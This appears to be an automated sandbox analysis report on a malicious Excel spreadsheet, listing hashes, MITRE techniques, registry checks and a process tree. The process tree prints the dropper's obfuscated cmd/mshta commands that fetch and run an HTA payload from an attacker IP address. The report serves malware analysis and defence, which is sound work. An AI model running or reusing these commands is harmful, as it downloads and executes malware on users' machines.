59cb2552a34b231acb92fcee121b13d662ca7f0049a70aae86fe312270f548e5

Analysis

max time kernel
140s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2023 12:44

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General

Target

55500673338314.xls
Size

129KB
MD5

e695d8c6c6db341f12701b4d18dd0d19
SHA1

c73f399a25902d8d935e8b6b857ba9203c8536fe
SHA256

59cb2552a34b231acb92fcee121b13d662ca7f0049a70aae86fe312270f548e5
SHA512

605ba80a24c02cd34763177f1e99d0b74dd6a291623f1433f8f38cf357bd9ab5516c884ee569a5b0ffbc3bdc7645b8274a3428f3fb0f768d5be2a2f4ceaeacb0
SSDEEP

3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4828	5004	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

14 624 mshta.exe

flow	pid	process
14	624	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

5004 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

5004 EXCEL.EXE
5004 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE
5004	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 5004 wrote to memory of 4828	5004	EXCEL.EXE	cmd.exe
PID 5004 wrote to memory of 4828	5004	EXCEL.EXE	cmd.exe
PID 4828 wrote to memory of 624	4828	cmd.exe	mshta.exe
PID 4828 wrote to memory of 624	4828	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\55500673338314.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4828

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/cc.html
3⤵
- Blocklisted process makes network request
PID:624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/5004-133-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-134-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-135-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-136-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-137-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-138-0x00007FFE4F800000-0x00007FFE4F810000-memory.dmp

Filesize
64KB

Download
memory/5004-139-0x00007FFE4F800000-0x00007FFE4F810000-memory.dmp

Filesize
64KB

Download
memory/5004-157-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-158-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-159-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download
memory/5004-160-0x00007FFE51E70000-0x00007FFE51E80000-memory.dmp

Filesize
64KB

Download